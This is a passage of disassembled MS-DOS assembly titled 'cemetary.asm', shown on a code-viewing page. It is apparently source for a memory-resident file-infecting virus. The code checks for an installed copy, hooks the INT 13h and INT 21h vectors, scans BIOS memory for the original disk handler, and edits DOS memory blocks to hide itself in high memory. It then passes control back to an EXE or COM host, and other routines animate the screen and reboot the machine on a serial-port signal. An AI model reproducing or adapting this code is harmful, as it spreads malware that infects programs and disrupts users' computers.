📄 cemetary.asm
字号:
mov ds:data_1e,ax ; (0000:004C=831h)
mov ds:data_2e,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
ret
sub_6 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_7 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr cs:data_32 ; (701E:0135=0) Load 32 bit ptr
mov ds:data_7e,ax ; (0000:0090=18Eh)
mov ds:data_8e,es ; (0000:0092=1498h)
les ax,dword ptr cs:data_35 ; (701E:013D=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=831h)
mov ds:data_2e,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
ret
sub_7 endp
db 0B0h, 3, 0CFh, 50h, 53h, 51h
db 2Eh, 0A3h, 0FEh, 3, 2Eh, 0A1h
db 0F7h, 3, 0A3h, 50h, 4, 2Eh
db 0A1h, 0F5h, 3, 8Ah, 0DCh, 0B4h
db 9, 0B9h, 1, 0, 0CDh, 10h
db 0E8h, 34h, 0, 0E8h, 0B7h, 0
db 2Eh, 0A1h, 0F7h, 3, 0A3h, 50h
db 4, 0B3h, 7, 0B8h, 7, 9
db 0B9h, 1, 0, 0CDh, 10h, 2Eh
db 0A1h, 0FEh, 3, 0A3h, 50h, 4
db 7, 1Fh
db ']_^ZY[X.'
db 0FFh, 2Eh, 0FAh, 3
data_37 dw 0
data_38 db 10h
data_39 db 10h
data_40 db 0
data_41 dw 0
data_42 dw 0
db 0, 0, 2Eh, 0A1h, 0F7h, 3
db 8Bh, 1Eh, 4Ah, 4, 4Bh, 2Eh
db 0F6h, 6, 0F9h, 3, 1, 74h
db 0Ch, 3Ah, 0C3h, 72h, 12h, 2Eh
db 80h, 36h, 0F9h, 3, 1, 0EBh
db 0Ah
loc_23:
cmp al,0
jg loc_24 ; Jump if >
xor byte ptr cs:data_40,1 ; (701E:03F9=0)
loc_24:
test byte ptr cs:data_40,2 ; (701E:03F9=0)
jz loc_25 ; Jump if zero
cmp ah,18h
jb loc_26 ; Jump if below
xor byte ptr cs:data_40,2 ; (701E:03F9=0)
jmp short loc_26
loc_25:
cmp ah,0
jg loc_26 ; Jump if >
xor byte ptr cs:data_40,2 ; (701E:03F9=0)
loc_26:
cmp byte ptr cs:data_37,20h ; (701E:03F5=0) ' '
je loc_27 ; Jump if equal
db 2Eh
data_44 dw 3E80h
db 0F8h, 3, 0, 74h, 6, 2Eh
db 80h, 36h, 0F9h, 3, 2
loc_27:
test byte ptr cs:data_40,1 ; (701E:03F9=0)
jz loc_28 ; Jump if zero
inc cs:data_38 ; (701E:03F7=10h)
jmp short loc_29
loc_28:
dec cs:data_38 ; (701E:03F7=10h)
loc_29:
test byte ptr cs:data_40,2 ; (701E:03F9=0)
jz loc_30 ; Jump if zero
inc cs:data_39 ; (701E:03F8=10h)
jmp short loc_ret_31
loc_30:
dec cs:data_39 ; (701E:03F8=10h)
loc_ret_31:
ret
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_8 proc near
mov ax,word ptr cs:data_38 ; (701E:03F7=1010h)
mov ds:data_11e,ax ; (0000:0450=184Fh)
mov bh,data_55 ; (0000:0462=0D400h)
mov ah,8
int 10h ; Video display ah=functn 08h
; get char al & attrib ah @curs
mov cs:data_37,ax ; (701E:03F5=0)
ret
sub_8 endp
db 50h, 53h, 51h, 52h, 56h, 57h
db 55h, 1Eh, 6, 33h, 0C0h, 50h
db 1Fh, 81h, 3Eh, 70h, 0, 0AEh
db 3, 74h, 35h, 0A1h, 6Ch, 4
db 8Bh, 16h, 6Eh, 4, 0B9h, 0FFh
db 0FFh, 0F7h, 0F1h, 3Dh, 10h, 0
db 75h, 24h, 0FAh, 8Bh, 2Eh, 50h
db 4, 0E8h, 0BEh, 0FFh, 89h, 2Eh
db 50h, 4, 0C4h, 6, 70h, 0
db 2Eh, 0A3h, 0FAh, 3, 2Eh, 8Ch
db 6, 0FCh, 3, 0C7h, 6, 70h
db 0, 0AEh, 3, 8Ch, 0Eh, 72h
db 0, 0FBh
loc_32:
mov ah,2
int 14h ; RS-232 dx=com1, ah=func 02h
; get char al, ah=return status
cmp al,31h ; '1'
je loc_33 ; Jump if equal
jnz loc_34 ; Jump if not zero
loc_33:
int 19h ; Bootstrap loader
loc_34:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_9 proc near
mov dx,10h
mul dx ; dx:ax = reg * ax
ret
sub_9 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_10 proc near
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
xor di,di ; Zero register
xor bp,bp ; Zero register
ret
sub_10 endp
db 1Eh, 0E8h, 0, 0
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_11 proc near
mov ax,4B4Dh
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
jc loc_35 ; Jump if carry Set
jmp loc_45
loc_35:
pop si
push si
mov di,si
xor ax,ax ; Zero register
push ax
pop ds
les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
mov cs:data_53e[si],ax ; (701E:FC26=0)
mov cs:data_54e[si],es ; (701E:FC28=0)
les bx,dword ptr ds:data_5e ; (0000:0084=6E3h) Load 32 bit ptr
mov cs:data_51e[di],bx ; (701E:FC1E=0)
mov cs:data_52e[di],es ; (701E:FC20=0)
mov ax,ds:data_9e ; (0000:0102=0CC00h)
cmp ax,0F000h
jne loc_43 ; Jump if not equal
mov dl,80h
mov ax,ds:data_10e ; (0000:0106=326h)
cmp ax,0F000h
je loc_36 ; Jump if equal
cmp ah,0C8h
jb loc_43 ; Jump if below
cmp ah,0F4h
jae loc_43 ; Jump if above or =
test al,7Fh
jnz loc_43 ; Jump if not zero
mov ds,ax
cmp word ptr ds:data_15e,0AA55h ; (0326:0000=6A7h)
jne loc_43 ; Jump if not equal
mov dl,ds:data_16e ; (0326:0002=70h)
loc_36:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_37:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_38 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_39 ; Jump if equal
jnz loc_40 ; Jump if not zero
loc_38:
cmp ax,0C2F6h
jne loc_41 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_40 ; Jump if not equal
loc_39:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_42 ; Jump if equal
sub si,3
loc_40:
dec si
dec si
loc_41:
dec si
loop locloop_37 ; Loop if cx > 0
jmp short loc_43
loc_42:
sub si,7
mov cs:data_53e[di],si ; (701E:FC26=0)
mov cs:data_54e[di],ds ; (701E:FC28=0)
loc_43:
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
sub bx,5Ah
nop
jc loc_45 ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,59h
stc ; Set carry flag
sbb es:data_19e,bx ; (06E3:0002=2342h)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:data_18e,8 ; (0688:0001=0FF17h)
call sub_9
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_9
add ax,ds:data_20e ; (06E3:0006=2344h)
adc dx,0
sub ax,bx
sbb dx,cx
jc loc_44 ; Jump if carry Set
sub ds:data_20e,ax ; (06E3:0006=2344h)
loc_44:
mov si,di
xor di,di ; Zero register
push cs
pop ds
sub si,413h
mov cx,589h
inc cx
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
dec bx
mov ds,bx
mov byte ptr ds:data_17e,5Ah ; (0687:0000=81h) 'Z'
mov dx,142h
xor ax,ax ; Zero register
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli ; Disable interrupts
mov ds:data_5e,dx ; (0000:0084=6E3h)
mov ds:data_6e,es ; (0000:0086=161Ah)
sti ; Enable interrupts
dec byte ptr ds:data_14e ; (0000:047B=0)
loc_45:
pop si
cmp word ptr cs:data_46e[si],5A4Dh ; (701E:FBF0=0)
jne loc_46 ; Jump if not equal
pop ds
mov ax,cs:data_50e[si] ; (701E:FC14=0)
mov bx,cs:data_49e[si] ; (701E:FC12=0)
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:data_48e[si] ; (701E:FC10=0)
push ds
pop es
call sub_10
ret ; Return far
loc_46:
pop ax
mov ax,cs:data_46e[si] ; (701E:FBF0=0)
mov cs:data_21,ax ; (701E:0100=0CE9h)
mov ax,cs:data_47e[si] ; (701E:FBF2=0)
mov cs:data_22,ax ; (701E:0102=0C304h)
mov ax,100h
push ax
push cs
pop ds
push ds
pop es
call sub_10
ret
sub_11 endp
code_seg_a ends
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -